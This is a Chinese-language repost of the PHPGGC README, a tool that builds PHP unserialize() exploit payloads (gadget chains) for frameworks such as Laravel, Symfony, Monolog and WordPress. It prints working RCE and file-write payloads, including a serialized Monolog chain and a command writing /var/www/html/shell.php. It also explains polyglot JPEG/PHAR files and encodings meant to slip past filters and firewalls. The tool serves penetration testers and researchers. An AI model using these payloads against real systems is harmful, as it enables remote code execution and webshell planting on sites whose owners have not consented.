PHPGGC——PHP unserialize() 有效负载

PHPGGC——PHP unserialize() 有效负载

PHPGGC:PHP 通用小工具链

PHPGGC 是一个 unserialize() 有效载荷库,以及一个用于从命令行或以编程方式生成它们的工具。当您在没有代码的网站上遇到反序列化时,或者只是尝试构建漏洞时,此工具可让您生成有效载荷,而无需经过查找小工具和组合它们的繁琐步骤。它可以看作是frohoff 的 ysoserial的等价物,但是适用于 PHP。目前,该工具支持的小工具链包括:CodeIgniter4、Doctrine、Drupal7、Guzzle、Laravel、Magento、Monolog、Phalcon、Podio、Slim、SwiftMailer、Symfony、Wordpress、Yii 和 ZendFramework。

要求

运行 PHPGGC 需要 PHP >= 5.6。

用法

运行./phpggc -l以获取小工具链列表:

$ ./phpggc -l

Gadget Chains
-------------

NAME                                      VERSION                                              TYPE                   VECTOR         I    
Bitrix/RCE1                               17.x.x <= 22.0.300                                   RCE (Function call)    __destruct          
CakePHP/RCE1                              ? <= 3.9.6                                           RCE (Command)          __destruct          
CakePHP/RCE2                              ? <= 4.2.3                                           RCE (Function call)    __destruct          
CodeIgniter4/FR1                          4.0.0 <= 4.3.6                                       File read              __toString     *    
CodeIgniter4/RCE1                         4.0.2 <= 4.0.3                                       RCE (Function call)    __destruct          
CodeIgniter4/RCE2                         4.0.0-rc.4 <= 4.3.6                                  RCE (Function call)    __destruct          
CodeIgniter4/RCE3                         4.0.4 <= 4.3.6                                       RCE (Function call)    __destruct          
CodeIgniter4/RCE4                         4.0.0-beta.1 <= 4.0.0-rc.4                           RCE (Function call)    __destruct          
CodeIgniter4/RCE5                         -4.1.3+                                              RCE (Function call)    __destruct          
CodeIgniter4/RCE6                         -4.1.3 <= 4.2.10+                                    RCE (Function call)    __destruct          
Doctrine/FW1                              ?                                                    File write             __toString     *    
Doctrine/FW2                              2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5                       File write             __destruct     *    
Doctrine/RCE1                             1.5.1 <= 2.7.2                                       RCE (PHP code)         __destruct     *    
Doctrine/RCE2                             1.11.0 <= 2.3.2                                      RCE (Function call)    __destruct     *    
Dompdf/FD1                                1.1.1 <= ?                                           File delete            __destruct     *    
...

过滤小工具链:

$ ./phpggc -l laravel

Gadget Chains
-------------

NAME             VERSION            TYPE                   VECTOR        I    
Laravel/RCE1     5.4.27             RCE (Function call)    __destruct         
Laravel/RCE10    5.6.0 <= 9.1.8+    RCE (Function call)    __toString         
Laravel/RCE2     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
Laravel/RCE3     5.5.0 <= 5.8.35    RCE (Function call)    __destruct    *    
Laravel/RCE4     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
Laravel/RCE5     5.8.30             RCE (PHP code)         __destruct    *    
Laravel/RCE6     5.5.* <= 5.8.35    RCE (PHP code)         __destruct    *    
Laravel/RCE7     ? <= 8.16.1        RCE (Function call)    __destruct    *    
Laravel/RCE8     7.0.0 <= 8.6.9+    RCE (Function call)    __destruct    *    
Laravel/RCE9     5.4.0 <= 9.1.8+    RCE (Function call)    __destruct         

每个小工具链都有:

  • 名称:框架/库的名称
  • 版本:小工具所适用的框架/库的版本
  • 类型:利用类型:RCE、文件写入、文件读取、包含…
  • Vector:反序列化后触发链的向量(,,,__destruct()… )__toString()offsetGet()
  • 信息:有关该链的其他信息

用于-i获取有关链的详细信息:

$ ./phpggc -i symfony/rce1
Name           : Symfony/RCE1
Version        : 3.3
Type           : rce
Vector         : __destruct
Informations   : 
Exec through proc_open()

./phpggc Symfony/RCE1 <command>

对于 RCE 小工具,执行的命令可以有 3 种格式类型,具体取决于小工具的工作方式:

  • RCE(命令):./phpggc Symfony/RCE1 id
  • RCE(PHP代码):./phpggc Symfony/RCE2 'phpinfo();'
  • RCE(函数调用):./phpggc Symfony/RCE4 system id

选择链后,运行./phpggc <gadget-chain> [parameters]以获取有效负载。例如,要获取 Monolog 的有效负载,您需要执行以下操作:

$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}

对于使用 SwiftMailer 写入文件,你可以执行以下操作:

$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}

包装器

--wrapper( )选项-w允许您定义一个包含以下函数的 PHP 文件:

  • process_parameters(array $parameters):之前 调用generate(),允许更改参数
  • process_object(object $object):之前 调用serialize(),允许更改对象
  • process_serialized(string $serialized):随后 调用serialize(),允许更改序列化字符串

例如,如果存在漏洞的代码如下所示:

<?php
$data = unserialize($_GET['data']);
print $data['message'];

您可以使用__toString()链条,像这样包裹它:

<?php
# /tmp/my_wrapper.php
function process_object($object)
{
    return array(
        'message' => $object
    );
}

你可以像这样调用 phpggc:

$ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id
a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}}

PHAR(GGC)

历史

在 2018 年 BlackHat US 大会上,@s_n_t 发布了 PHARGGC,这是 PHPGGC 的一个分支,它不是构建序列化的有效载荷,而是构建整个 PHAR 文件。此 PHAR 文件包含序列化数据,因此可用于各种利用技术(file_existsfopen等)。论文在此处

执行

PHAR 档案有三种不同的格式:PHAR、TAR 和 ZIP。PHPGGC支持这三种格式。可以使用--phar-jpeg-pj) 生成多语言文件。还有其他选项可用(使用-h)。

示例

$ # Creates a PHAR file in the PHAR format and stores it in /tmp/z.phar
$ ./phpggc -p phar -o /tmp/z.phar monolog/rce1 system id
$ # Creates a PHAR file in the ZIP format and stores it in /tmp/z.zip.phar
$ ./phpggc -p zip -o /tmp/z.zip.phar monolog/rce1 system id
$ # Creates a polyglot JPEG/PHAR file from image /tmp/dummy.jpg and stores it in /tmp/z.zip.phar
$ ./phpggc -pj /tmp/dummy.jpg -o /tmp/z.zip.phar monolog/rce1 system id

编码器

参数允许修改有效负载的输出方式。例如,-u将对其进行 URL 编码,并将-b其转换为 base64。 有效负载通常包含 NULL 字节,无法按原样复制/粘贴-s用于软 URL 编码,使有效负载保持可读性。

编码器可以链接起来,因此顺序很重要。例如,./phpggc -b -u -u slim/rce1 system id将有效负载进行 base64 处理,然后对其进行两次 URL 编码。

高级:增强功能

快速销毁

PHPGGC 实现了一个--fast-destruct-f) 标志,它将确保您的序列化对象在调用后立即被销毁unserialize(),而不是在脚本结束时被销毁。我建议对每个__destruct向量都使用它,因为它可以提高可靠性。例如,如果 PHP 脚本在调用后引发异常,__destruct则可能不会调用对象的方法。由于它与编码器同时处理,因此需要先设置它。

$ ./phpggc -f -s slim/rce1 system id
a:2:{i:7;O:18:"Slim\Http\Response":2:{s:10:"...

ASCII 字符串

使用S序列化格式而不是标准格式s。这会将每个非 ASCII 字符替换为十六进制表示: s:5:"A<null_byte>B<cr><lf>";̀->S:5:"A\00B\09\0D"; 当出于某种原因不允许使用非 ASCII 字符(例如 NULL BYTE)时,这可能很有用。由于有效载荷通常包含它们,因此这可确保有效载荷仅由 ASCII 值组成。 注意:这是实验性的,在某些情况下可能不起作用。

铠甲弦

使用S序列化格式而不是标准格式s。这会将每个字符替换为十六进制表示: s:5:"A<null_byte>B<cr><lf>";̀->S:5:"\41\00\42\09\0D"; 当防火墙或 PHP 代码阻止字符串时,这会很方便。 注意:这是实验性的,在某些情况下可能不起作用。 注意:这会使有效负载中的每个字符串增加 3 倍。

加号

有时,PHP 脚本会使用诸如 之类的正则表达式来验证给定的序列化有效负载是否包含对象。使用而不是/O:[0-9]+:可以轻松绕过此问题。可以使用或来自动在符号前面添加这些符号。例如,要混淆对象和字符串,可以使用: 。请注意,自 PHP 7.2 起,只有和(浮点)类型可以有。O:+123:...O:123:--plus-numbers <types>-n <types>+--n Osid+

测试你的链条

要测试您想要使用的gadget链是否在目标环境中运行,请跳转到您环境的文件夹并使用该--test-payload选项无参数运行该链。

例如,测试其是否Monolog/RCE2适用于 Symfony 4.x

$ composer create-project symfony/website-skeleton=4.x some_symfony
$ cd some_symfony
$ phpggc monolog/rce2 --test-payload
Trying to deserialize payload...
SUCCESS: Payload triggered !

0如果有效载荷被触发,则返回退出代码,1否则返回。

针对软件包的每个版本测试你的链条

如果您想知道小工具链针对软件包的哪些版本,您可以使用test-gc-compatibility.py

$ ./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3
Testing 59 versions for monolog/monolog against 2 gadget chains.

┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 2.x-dev         │   OK    │      OK      │      KO      │
│ 2.3.0           │   OK    │      OK      │      KO      │
│ 2.2.0           │   OK    │      OK      │      KO      │
│ 2.1.1           │   OK    │      OK      │      KO      │
│ 2.1.0           │   OK    │      OK      │      KO      │
│ 2.0.2           │   OK    │      OK      │      KO      │
│ 2.0.1           │   OK    │      OK      │      KO      │
│ 2.0.0           │   OK    │      OK      │      KO      │
│ 2.0.0-beta2     │   OK    │      OK      │      KO      │
│ 2.0.0-beta1     │   OK    │      OK      │      KO      │
│ 1.x-dev         │   OK    │      OK      │      KO      │
│ 1.26.1          │   OK    │      OK      │      KO      │
│ 1.26.0          │   OK    │      OK      │      KO      │
│ 1.25.5          │   OK    │      OK      │      KO      │
│ 1.25.4          │   OK    │      OK      │      KO      │
                        ...
│ 1.0.1           │   OK    │      KO      │      KO      │
│ 1.0.0           │   OK    │      KO      │      KO      │
│ 1.0.0-RC1       │   OK    │      KO      │      KO      │
│ dev-main        │   OK    │      OK      │      KO      │
│ * dev-phpstan   │   OK    │      OK      │      KO      │
└─────────────────┴─────────┴──────────────┴──────────────┘

您可以使用以下语法指定要测试的版本。

$ ./test-gc-compatibility.py monolog/monolog:2.3.0,1.25.4 monolog/rce1 monolog/rce3
Testing 2 versions for monolog/monolog against 2 gadget chains.

┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 2.3.0           │   OK    │      OK      │      KO      │
│ 1.25.4          │   OK    │      OK      │      KO      │
└─────────────────┴─────────┴──────────────┴──────────────┘

API

除了使用 PHPGGC 作为命令行工具之外,您还可以编写 PHP 脚本:

<?php

# Include PHPGGC
include("phpggc/lib/PHPGGC.php");

# Include guzzle/rce1
$gc = new \GadgetChain\Guzzle\RCE1();

# Always process parameters unless you're doing something out of the ordinary
$parameters = $gc->process_parameters([
	'function' => 'system',
	'parameter' => 'id',
]);

# Generate the payload
$object = $gc->generate($parameters);

# Most (if not all) GC's do not use process_object and process_serialized, so
# for quick & dirty code you can omit those two 
$object = $gc->process_object($object);

# Serialize the payload
$serialized = serialize($object);
$serialized = $gc->process_serialized($serialized);

# Display it
print($serialized . "\n");

# Create a PHAR file from this payload
$phar = new \PHPGGC\Phar\Tar($serialized);
file_put_contents('output.phar.tar', $phar->generate());

这可让您更轻松地调整参数或编写漏洞。 注意:目前这还处于实验阶段,因此请报告错误

国内下载链接

© 版权声明
THE END
喜欢就支持一下吧
点赞11 分享